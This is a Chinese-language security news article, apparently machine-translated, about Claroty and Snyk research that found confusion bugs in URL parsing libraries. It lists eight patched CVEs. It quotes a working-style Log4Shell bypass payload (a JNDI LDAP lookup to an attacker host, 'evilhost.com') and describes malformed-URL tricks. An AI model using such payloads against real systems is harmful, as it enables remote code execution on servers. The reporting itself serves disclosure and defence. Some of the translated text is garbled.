研究人员在十几个广泛使用的URL解析器库中发现了错误

2022-01-11 09:20:50 0 567

研究人员在十几个广泛使用的URL解析器库中发现了错误


对16个不同的统一资源定位器(URL)解析库的研究发现了不一致和混乱,这些不一致和混乱可以被利用来绕过验证,并为各种攻击媒介打开大门。

在网络安全公司Claroty和Synk联合进行的深入分析中,在用C,JavaScript,PHP,Python和Ruby语言编写并被多个Web应用程序使用的许多第三方库中发现了八个安全漏洞。

"URL解析中的混淆可能导致软件(例如Web应用程序)中的意外行为,并可能被威胁行为者利用,导致拒绝服务条件,信息泄露或可能进行远程代码执行攻击,"研究人员在与黑客新闻分享的一份报告中说。

由于 URL 是一种基本机制,通过该机制可以请求和检索位于本地或 Web 上的资源,解析库解释 URL 请求的方式的差异可能会给用户带来重大风险。

一个恰当的例子是上个月在无处不在的Log4j日志记录框架中披露的关键Log4Shell漏洞,该漏洞源于这样一个事实,即恶意攻击者控制的字符串在被易受攻击的应用程序记录时进行评估时,会导致JNDI查找连接到对手操作的服务器并执行任意Java代码。

尽管Apache软件基金会(ASF)迅速进行了修复以解决这一弱点,但很快就发现,可以通过格式为"${jndi:ldap://127.0.0[]"的特制输入来绕过缓解措施。1#.evilhost.com:1389/a}",再次允许远程 JNDI 查找以实现代码执行。

"这种旁路源于两个不同的(!URL解析器在JNDI查找过程中使用,一个解析器用于验证URL,另一个解析器用于获取它,并且根据每个解析器如何处理URL的片段部分(#),权威机构也会发生变化,"研究人员说。


具体来说,如果输入被视为常规HTTP URL,则颁发机构组件(域名和端口号的组合)在遇到片段标识符时结束,而当被视为LDAP URL时,解析器将分配整个"127.0.0[."。1#.evilhost.com:1389"作为权威机构,因为 LDP URL 规范不考虑片段。

事实上,使用多个解析器是发现这八个漏洞的两个主要原因之一,另一个是当库遵循不同的URL规范时不一致引起的问题,有效地引入了可利用的漏洞。

不和谐的范围包括涉及包含反斜杠("\")的URL的混淆,斜杠的不规则数量(例如,https:///www.example[。]com)或URL 编码数据("%"),以指向缺少 URL 方案的 URL,这些 URL 可能被利用来获得远程代码执行,甚至阶段性拒绝或服务 (DoS) 和开放重定向网络钓鱼攻击。

发现的八个漏洞列表如下,所有这些漏洞都已由各自的维护者解决 -

Belledonne's SIP Stack (C, CVE-2021-33056)
Video.js (JavaScript, CVE-2021-23414)
Nagios XI (PHP, CVE-2021-37352)
Flask-security (Python, CVE-2021-23385)
Flask-security-too (Python, CVE-2021-32618)
Flask-unchained (Python, CVE-2021-23393)
Flask-User (Python, CVE-2021-23401)
Clearance (Ruby, CVE-2021-23435)
"许多现实生活中的攻击场景可能来自不同的解析原语,"研究人员说。为了保护应用程序免受URL解析漏洞的影响,"有必要充分了解整个过程中涉及哪些解析器[以及]解析器之间的差异,无论是它们的宽容程度,它们如何解释不同的格式错误的URL,以及它们支持哪些类型的URL。

关于作者

PYkiller46篇文章567篇回复

非声色物我两忘,俗世与我皆幻象。

评论0次

要评论?请先  登录  或  注册